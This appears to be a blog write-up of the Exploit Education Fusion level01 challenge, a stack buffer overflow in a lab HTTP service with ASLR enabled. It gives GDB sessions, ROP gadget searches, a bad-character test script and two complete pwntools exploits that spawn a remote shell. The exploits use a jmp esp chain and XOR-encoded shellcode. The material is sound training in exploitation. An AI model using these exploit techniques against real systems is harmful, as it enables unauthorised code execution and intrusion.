level00 with stack\/heap\/mmap aslr, without info leak :)<\/p>\n
The description and source code can be found here: This is the same exact level as the first one, but with one added protection, ASLR<\/a>. The stack addresses will be randomized so we won’t be able to simply point EIP to our shellcode there. My initial thought is to debug the program while it’s running and see if there’s any registers that point to any part of the user input. Maybe we’ll get lucky and find a “jmp register” gadget to jump execution to our shellcode on the stack.<\/p>\n First I’ll verify this program works the same way as the previous one. And in case you didn’t read my previous post, I have an entry in my It does, with the only exception that it doesn’t give you the address of the “buffer” variable. It wouldn’t be very useful anyway as the address will be randomized each time the program is executed. What I want to do, is debug the program at the point where the Now, I know that ESP will point to the end of my “user-controlled” input after overflowing the “resolved” variable in the On the Fusion VM, we’ll attach GDB to the running process and set it to follow child processes:<\/p>\n Next, I’ll set a breakpoint at the end of the Now I can use a simple script to simulate the buffer overflow attack. For now, I don’t know what to overwrite EIP with, so I’ll just use junk data:<\/p>\n After executing it, I can see that the breakpoint was hit in GDB:<\/p>\n Now I know that the “buffer” variable is stored in the Then I’ll see if there’s any registers that point to user-controlled space:<\/p>\n Look at that, ESI points to the end of the “HTTP\/1.1” string! Maybe I can put my shellcode there and try to find a gadget(s) that’ll let me redirect the flow of execution there. Fortunately, the VM comes with ROPgadget<\/a>, albeit an older version of it.<\/p>\n Nothing is that easy. I searched for a long time for a series of gadgets that would allow me to get the value in ESI to EIP. I also gave up on using this old version of ROPgadget and SCP’ed the binary to my attacking machine so I could use Ropper<\/a>. I wasn’t able to find anything that would allow me to use ESI, but I did figure out how to use ESP.<\/p>\n More specifically, I can use these 2 gadgets:<\/p>\n I can add 560 (0x230) to ESP to get it to point to data stored in the “buffer” variable, then jump to it. Now I just need to calculate how many bytes after the end of the “HTTP\/1.1” string the shellcode will start. I know that 560 bytes will be added to ESP after<\/i> the flow of execution is redirected to the gadget. I also know that ESI points to the end of that string. So I can use the formula Now I do have to account for the 3 pop instructions in that first gadget, so I’ll need to include 12 bytes of junk data as well. But now I can craft my exploit:<\/p>\n Let’s try it out:<\/p>\n My first thought for this level was to just put encoded shellcode in the “path” portion of the user input after overwriting the saved return address. Of course I would need to do some “bad character” analysis to figure out which characters to avoid, but this would allow me to use a single Originally, I was trying to use the pwnlib.encoders.encoder.encode<\/a> function, but it wasn’t modifying the shellcode at all. I believe this to be a bug and will submit an issue for it an Github when I find the time. However, the pwnlib.encoders.i386.xor.encode<\/a> function did<\/i> work.<\/p>\n First, I had to send all possible bytes to the “path” portion of the user input and examine the memory to see what was captured and what wasn’t. Of course, I wrote a Python script for this and each time I found a bad character, I’d add it to the “badchars” variable:<\/p>\n That list of “badchars” you see there is all of them. Next, I modified my original exploit script to come up with the new solution:<\/p>\n I did struggle at first as my first attempt did not include the
\nhttp:\/\/exploit.education\/fusion\/level01\/<\/a><\/p>\n\/etc\/hosts<\/code> file for the Fusion VM’s IP address.<\/p>\n\r\nandrew ~\/fusion $ nc fusion 20001\r\nGET \/root HTTP\/1.1\r\ntrying to access \/root\r\n<\/pre>\n
fix_path()<\/code> function returns (since that’s where the buffer overflow vulnerability exists) and see if there’s any registers pointing to any part of the user-controlled input on the stack. If so, can I put shellcode there since it doesn’t have the “Non-Executable stack” protection enabled.<\/p>\nfix_path()<\/code> function. However, as the previous level indicated, there will be character restrictions due to the user input being run through the realpath()<\/code> function. This will impact our shellcode. I might be able to run the shellcode through an encoder to avoid any bad characters, but let’s look for another approach at first. Again, I’ll look for any registers that point to my user-controlled input, but it’ll have to be the input saved to the “buffer” variable in the parse_http_request()<\/code> function.<\/p>\n\r\nfusion@fusion:~$ sudo -i\r\n\r\nroot@fusion:~# ps aux | grep level01\r\n20001 1464 0.0 0.0 1816 52 ? Ss Feb14 0:00 \/opt\/fusion\/bin\/level01\r\nroot 2374 0.0 0.0 4184 796 pts\/0 S+ 00:33 0:00 grep --color=auto level01\r\n\r\nroot@fusion:~# gdb -p 1464\r\nGNU gdb (Ubuntu\/Linaro 7.3-0ubuntu2) 7.3-2011.08\r\n...\r\n0xb77d2424 in __kernel_vsyscall ()\r\n\r\n(gdb) set follow-fork-mode child\r\n<\/pre>\n
fix_path()<\/code> function since we’ll be able to control execution right after that. Then I’ll continue the program so we can catch the user input and reach our breakpoint:<\/p>\n\r\n(gdb) disas fix_path\r\nDump of assembler code for function fix_path:\r\n 0x08049815 <+0>: push %ebp\r\n ...\r\n 0x08049853 <+62>: leave\r\n 0x08049854 <+63>: ret\r\nEnd of assembler dump.\r\n\r\n(gdb) b *fix_path+63\r\nBreakpoint 1 at 0x8049854: file level01\/level01.c, line 9.\r\n\r\n(gdb) c\r\nContinuing.\r\n<\/pre>\n
\r\n#!\/usr\/bin\/env python3\r\n\r\nimport socket\r\n\r\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\ns.connect(("fusion", 20001))\r\n\r\npayload = b"GET \/"\r\npayload += b"A" * 127 # fill the 'resolved' buffer\r\npayload += b"B" * 12\r\npayload += b"C" * 4 # overwrite saved EIP\r\npayload += b" HTTP\/1.1"\r\n\r\ns.sendall(payload)\r\nprint(s.recv(1024).strip())\r\n<\/pre>\n\r\n[New process 2099]\r\n[Switching to process 2099]\r\n\r\nBreakpoint 1, 0x08049854 in fix_path (path=Cannot access memory at address 0x4242424a\r\n) at level01\/level01.c:9\r\n9 level01\/level01.c: No such file or directory.\r\n in level01\/level01.c\r\n(gdb) \r\n<\/pre>\n
parse_http_request()<\/code> function’s stack. This will be a higher address than where the ESP register currently points to, which is the current function’s saved EIP value. So let’s examine memory and make sure to capture all of the input we supplied that’s stored in the “buffer” variable, which should be 158 bytes.<\/p>\n\r\n(gdb) x\/48wx $esp\r\n0xbfeaca3c: 0x43434343 0xbfeaca00 0x00000020 0x00000004\r\n0xbfeaca4c: 0x001761e4 0x001761e4 0x000027d8 0x20544547\r\n0xbfeaca5c: 0x4141412f 0x41414141 0x41414141 0x41414141\r\n0xbfeaca6c: 0x41414141 0x41414141 0x41414141 0x41414141\r\n0xbfeaca7c: 0x41414141 0x41414141 0x41414141 0x41414141\r\n0xbfeaca8c: 0x41414141 0x41414141 0x41414141 0x41414141\r\n0xbfeaca9c: 0x41414141 0x41414141 0x41414141 0x41414141\r\n0xbfeacaac: 0x41414141 0x41414141 0x41414141 0x41414141\r\n0xbfeacabc: 0x41414141 0x41414141 0x41414141 0x41414141\r\n0xbfeacacc: 0x41414141 0x41414141 0x41414141 0x41414141\r\n0xbfeacadc: 0x42424242 0x42424242 0x42424242 0x43434343\r\n0xbfeacaec: 0x54544800 0x2e312f50 0x00000031 0x00000000\r\n\r\n(gdb) x\/s 0xbfeaca5c\r\n0xbfeaca5c: "\/", 'A' <repeats 127 times>, 'B' <repeats 12 times>, "CCCC"\r\n\r\n(gdb) x\/s 0xbfeacaed\r\n0xbfeacaed: "HTTP\/1.1"\r\n<\/pre>\n
\r\n(gdb) i r\r\neax 0x1 1\r\necx 0xb76d08d0 -1217591088\r\nedx 0xbfeaca40 -1075131840\r\nebx 0xb7848ff4 -1216049164\r\nesp 0xbfeaca3c 0xbfeaca3c\r\nebp 0x42424242 0x42424242\r\nesi 0xbfeacaf5 -1075131659\r\nedi 0x8049ed1 134520529\r\neip 0x8049854 0x8049854 <fix_path+63>\r\neflags 0x246 [ PF ZF IF ]\r\ncs 0x73 115\r\nss 0x7b 123\r\nds 0x7b 123\r\nes 0x7b 123\r\nfs 0x0 0\r\ngs 0x33 51\r\n<\/pre>\n
\r\nroot@fusion:\/opt\/ROPgadget-v3.3# .\/ROPgadget -file ..\/fusion\/bin\/level01 -g -asm "jmp %esi"\r\n\/tmp\/ropgadget_asm.s: Assembler messages:\r\n\/tmp\/ropgadget_asm.s:1: Warning: indirect jmp without `*'\r\nGadgets information\r\n============================================================\r\n\r\nTotal opcodes found: 0\r\n<\/pre>\n
\r\nandrew ~\/fusion $ ropper --file level01 --search "% esp"\r\n[INFO] Load gadgets for section: PHDR\r\n[LOAD] loading... 100%\r\n[INFO] Load gadgets for section: LOAD\r\n[LOAD] loading... 100%\r\n[INFO] Load gadgets for section: GNU_STACK\r\n[LOAD] loading... 100%\r\n[LOAD] removing double gadgets... 100%\r\n[INFO] Searching for gadgets: % esp\r\n\r\n[INFO] File: level01\r\n0x08049604: add byte ptr [eax], al; add esp, 0x10; pop esi; pop edi; pop ebp; ret;\r\n0x080488b3: add byte ptr [eax], al; add esp, 8; pop ebx; ret;\r\n0x080488ae: add byte ptr [eax], al; call 0x1a50; add esp, 8; pop ebx; ret;\r\n0x08049a8a: add byte ptr [eax], al; call 0xba0; add esp, 8; pop ebx; ret;\r\n0x080488a9: add byte ptr [eax], al; call 0xc00; call 0x1a50; add esp, 8; pop ebx; ret;\r\n0x08049f0a: add byte ptr [eax], al; shr cl, 0xff; call esp;\r\n0x08049a6e: add eax, dword ptr [ebx - 0xb8a0008]; add esp, 4; pop ebx; pop ebp; ret;\r\n0x08049606: add esp, 0x10; pop esi; pop edi; pop ebp; ret;\r\n0x08049a29: add esp, 0x1c; pop ebx; pop esi; pop edi; pop ebp; ret;\r\n0x0804905f: add esp, 0x230; pop ebx; pop edi; pop ebp; ret;\r\n0x08049970: add esp, 0x420; pop esi; pop edi; pop ebp; ret;\r\n0x08048bef: add esp, 4; pop ebx; pop ebp; ret;\r\n0x080488b5: add esp, 8; pop ebx; ret;\r\n0x080488b0: call 0x1a50; add esp, 8; pop ebx; ret;\r\n0x080488a6: call 0xa00; call 0xc00; call 0x1a50; add esp, 8; pop ebx; ret;\r\n0x0804905a: call 0xa10; add esp, 0x230; pop ebx; pop edi; pop ebp; ret;\r\n0x08049a8c: call 0xba0; add esp, 8; pop ebx; ret;\r\n0x080488ab: call 0xc00; call 0x1a50; add esp, 8; pop ebx; ret;\r\n0x08049f0f: call esp;\r\n0x08049a6f: cmp eax, -1; jne 0x1a68; add esp, 4; pop ebx; pop ebp; ret;\r\n0x08049f4f: jmp esp;\r\n...\r\n<\/pre>\n
\r\n0x0804905f: add esp, 0x230; pop ebx; pop edi; pop ebp; ret;\r\n0x08049f4f: jmp esp;\r\n<\/pre>\n
ESP + 4 + 560 - ESI<\/code>.<\/p>\n\r\n0xbfeaca3c + 0x4 + 0x230 + 0xbfeacaf5 = 0x17b (379)\r\n ESP ESI\r\n<\/pre>\n
\r\n#!\/usr\/bin\/env python3\r\n\r\nfrom pwn import *\r\n\r\nio = remote("fusion", 20001)\r\n\r\npayload = b"GET \/" + b"A"*127 # fill the 'resolved' variable\r\npayload += b"B"*12\r\npayload += p32(0x0804905f) # add esp, 0x230; pop ebx; pop edi; pop ebp; ret\r\npayload += b" HTTP\/1.1"\r\npayload += b"C"*379 # junk data to accomodate the "add esp, 0x230" instruction\r\npayload += b"D"*12 # junk data for the subsequent "pop" instructions\r\npayload += p32(0x08049f4f) # jmp esp\r\npayload += asm(shellcraft.sh())\r\n\r\nio.sendline(payload)\r\nio.interactive()\r\n<\/pre>\n\r\nandrew ~\/fusion $ .\/level01.py\r\n[+] Opening connection to fusion on port 20001: Done\r\n[*] Switching to interactive mode\r\n$ id\r\nuid=20001 gid=20001 groups=20001\r\n<\/pre>\n
Alternate Solution<\/h2>\n
jmp esp<\/code> gadget. I know that I could use msfvenom to generate shellcode and avoid certain characters, but I didn’t have that installed on the attacking machine (not realizing, at the time, that it is installed on the Fusion VM). I know that pwntools seems to have this ability with its “Encoders” module, but I couldn’t get it to work. However, after further experimenting, I figured it out.<\/p>\n\r\n#!\/usr\/bin\/env python3\r\n\r\nimport socket\r\nimport struct\r\n\r\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\ns.connect(("fusion", 20001))\r\n\r\npayload = b"GET \/"\r\n\r\nbadchars = [ 0x00, 0x0a, 0x0d, 0x20, 0x2f ]\r\npath = b""\r\nfor i in range(0x00, 0x100):\r\n if i not in badchars:\r\n path += bytes([i])\r\n\r\npayload += path\r\npayload += b" HTTP\/1.1"\r\n\r\ns.sendall(payload)\r\nprint(s.recv(1024).strip().decode())\r\n<\/pre>\n\r\n#!\/usr\/bin\/env python3\r\n\r\nfrom pwn import *\r\n\r\nio = remote("fusion", 20001)\r\n\r\npayload = b"GET \/" + b"A"*127 # fill the 'resolved' variable\r\npayload += b"B"*12\r\npayload += p32(0x08049f4f) # jmp esp\r\n\r\npayload += b"\\x90" * 16\r\nshellcode = asm(shellcraft.sh())\r\navoid = b"\\x00\\x0a\\x0d\\x20\\x2f"\r\nencoded = pwnlib.encoders.i386.xor.encode(shellcode, avoid)\r\npayload += encoded\r\npayload += b" HTTP\/1.1"\r\n\r\nio.sendline(payload)\r\nio.interactive()\r\n<\/pre>\npayload += b\"\\x90\" * 16<\/code> line. The exploit wasn’t working. Then after doing some debugging, I remembered something. The code that decodes the shellcode will overwrite the first few bytes of where ESP points to. Adding some NOP instructions to the beginning will easily solve this problem.<\/p>\n","protected":false},"excerpt":{"rendered":"